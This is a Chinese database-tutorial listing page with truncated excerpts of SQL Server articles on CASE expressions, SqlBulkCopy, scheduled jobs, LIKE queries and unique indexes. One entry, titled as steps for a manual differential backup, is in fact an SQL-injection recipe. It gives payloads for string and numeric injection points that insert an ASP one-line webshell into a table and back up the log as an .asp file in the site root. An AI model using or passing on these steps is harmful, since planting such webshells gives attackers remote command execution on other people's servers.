-
sqlserver中Case的使用方法(上下篇)第1/2页
复制代码代码如下:--简单Case函数CASEsexWHEN'1'THEN'男'WHEN'2'THEN'女'ELSE'其他'END--Case搜索函数CASEWHENsex='1'THEN'男'WHENsex='2'THEN'女'ELSE'其他'END这两种方式,可以实现相同的功能。简单Case函数的写法相对比较简洁,但是和Case搜索函数相比,功能方面会有些限制,比如写判断式...
数据库操作教程 2022-09-23 20:24:22 -
asp.net使用SqlBulkCopy极速插入数据到SQLServer
按这个来算,我们那个发水票的时间就会由10分钟-->20秒,这可太神奇了。于是乎,下demo,测试,改成自己一般使用的方法测试,NND,还真可以说是极速...
数据库操作教程 2022-09-23 20:24:20 -
批量执行sql语句的方法
复制代码代码如下:DECLARE@MyCounterINTSET@MyCounter=0/*设置变量*/WHILE(@MyCounter<2)/*设置循环次数*/BEGINWAITFORDELAY'000:00:1'/*延迟时间1秒*/INSERTINTOcomments(username)values('ahuinan')SET@MyCounter=@MyCounter+1END...
数据库操作教程 2022-09-23 20:24:15 -
sqlserver手工实现差异备份的步骤
手工实现差异备份的步骤字符型:1、恢复当前库;alterdatabase当前库setRECOVERYFULL--2、建表cmd;createtablecmd(aimage)--3、备份当前库到D:cmd1;backuplog当前库todisk='D:cmd1'withinit--4、插入一句话代码到创建的表cmd;insertintocmd(a)values('<%%25**ecute(request("a"))%%25>')-- 5、备份一句话代码到站点根目录;backuplog当前库todisk='D:www_weboct.asp'--6、完成;droptable创建的表--数字型1、恢复当前库';alterdatabase当前库setRECOVERYFULL--2、创建表cmd';createtablecmd(aimage)--3、备份当前库到D:cmd1';backuplog当前库todisk='D:cmd1'withinit--4、插入一句话代码到创建的表cmd';insertintocmd(a)values('<%%25**ecute(reque...
数据库操作教程 2022-09-23 20:24:10 -
文本、Excel、Access数据导入SQLServer2000的方法
如下所示:复制代码代码如下:"AWU","102300","ZX240-3","2609997000","2609997000","3016924000","","3091775000","","","QCR0000285","""AYE","001800","ZX60","2609997000","2609997000","3016924000","","","","","",""虽然项目开发了应用程序,解析类似的文本文件,并将记录存储到数据库中,但效率显然不及批量导入。为了节约时间,从9:00PM开始,决定先尝试将文本文件导入Excel,再将Excel导入SQLServer2000...
数据库操作教程 2022-09-23 20:24:03 -
SQLServer2000定时执行SQL语句
我不知道存储过程等能否实现,但是SQLServer2000的作业调度确实有这样的功能,怎样使某些SQL语句定时执行呢,依次进行下面的操作:企业管理器--管理--SQLServer代理--右键作业--新建作业--“常规”项中输入作业名称--“步骤”项--新建--“步骤名”中输入步骤名--“类型”中选择“Transact-SQL脚本(TSQL)”--“数据库”选择执行命令的数据库--“命令”中输入要执行的语句:INSERT/DELETE...--确定--“调度”项--新建调度--“名称”中输入调度名称--“调度类型”中选择你的作业执行安排--如果选择“反复出现”--点“更改”来设置你的时间安排(我们可以看到,最高的频率是在“每日频率”中将发生周期设置为1分钟,也就是说用这种方法可以保证1分钟的实时性,对于实时性要求不高的应用来说,这就足够了)最后要将SQLAgent服务启动,并设置为自动启动,否则你的作业不会被执设置SQLAgent服务自动启动的方法:我的电脑--控制面板--管理工具--服务--右键SQLSERVERAGENT--属性--启动类型--选择“自动启动”--确定。设置完之后呢,...
数据库操作教程 2022-09-23 20:24:02 -
sqlserver模糊查询常用方法
搜索条件中的模式匹配LIKE关键字搜索与指定模式匹配的字符串、日期或时间值。LIKE关键字使用常规表达式包含值所要匹配的模式...
数据库操作教程 2022-09-23 20:24:00 -
sql函数大全比较常用的一些函数整理第1/2页
select语句中只能使用sql函数对字段进行操作(链接sqlserver),select字段1from表1where字段1.IndexOf("云")=1;这条语句不对的原因是indexof()函数不是sql函数,改成sql对应的函数就可以了。left()是sql函数...
数据库操作教程 2022-09-23 20:23:59 -
sqlserver此数据库没有有效所有者错误的解决方法
某一天,在调试程序时突然发现,在附加数据库后,想添加关系表,结果出来了下面的错误: 此数据库没有有效所有者,因此无法安装数据库关系图支持对象。若要继续,请首先使用“数据库属性”对话框的“文件”页或AlterAUTHORIZATION语句将数据库所有者设置为有效登录名,然后再添加数据库关系图支持对象...
数据库操作教程 2022-09-23 20:23:54 -
一些SQLServer存储过程参数及举例
MicrosoftincludedseveralhundredstoredproceduresinthevariousversionsofMicrosoftSQLServerandithasdocumentedagoodpercentageofthem.Butmanystoredproceduresremainundocumented...
数据库操作教程 2022-09-23 20:23:54 -
SQLServer允许重复空字段不空字段值唯一
表结构如下面代码创建复制代码代码如下:CREATETABLEtest_tb(TestIdintnotnullidentity(1,1)primarykey,Captionnvarchar(100)null);GO解决方案1:对于这个问题,大家的第一个想法可能是:在Caption这个字段上面加一个唯一键不就可以了吗?好,我们按着这个思路做下去,先创建唯一索引。复制代码代码如下:CREATEUNIQUENONCLUSTEREDINDEXun_test_tbONtest_tb(Caption)GO索引创建好了,我们来测试下效果复制代码代码如下:INSERTINTOtest_tb(Caption)VALUES(null)GOINSERTINTOtest_tb(Caption)VALUES(null)GO运行之后我们会收到下面的错误信息:以下为引用的内容:消息2601,级别14,状态1,第1行不能在具有唯一索引'un_test_tb'的对象'dbo.test_tb'中插入重复键的行...
数据库操作教程 2022-09-23 20:23:51 -
一个常用的报表统计SQL语句
一般都给定按日期区间统计某一值,每一个列就是统计时的分类。如下图:下面给出上图的例子的sql语句写法:(注:此处是按“日期”字段统计)复制代码代码如下:select日期,自选字段1,自选字段2,sum(类型1)类型1,sum(类型2)类型2,sum(类型3)类型3,sum(类型4)类型4,sum(类型5)类型5,sum(类型6)类型6from(selectto_date(to_char(日期,'yyyy-MM-dd'),'yyyy-mm-dd')日期,自选字段1,自选字段2,count(主键字段)类型1,0类型2,0类型3,0类型4,0类型5,0类型6from表名where1=1groupbyto_date(to_char(日期,'yyyy-MM-dd'),'yyyy-mm-dd'),自选字段1,自选字段2unionallselectto_date(to_char(日期,'yyyy-MM-dd'),'yyyy-mm-dd')日期,自选字段1,自选字段2,0类型1,count(主键字段)类型2,0类型3,0类型4,0类型5,0类型6from表名where1=1groupbyto_date...
数据库操作教程 2022-09-23 20:23:47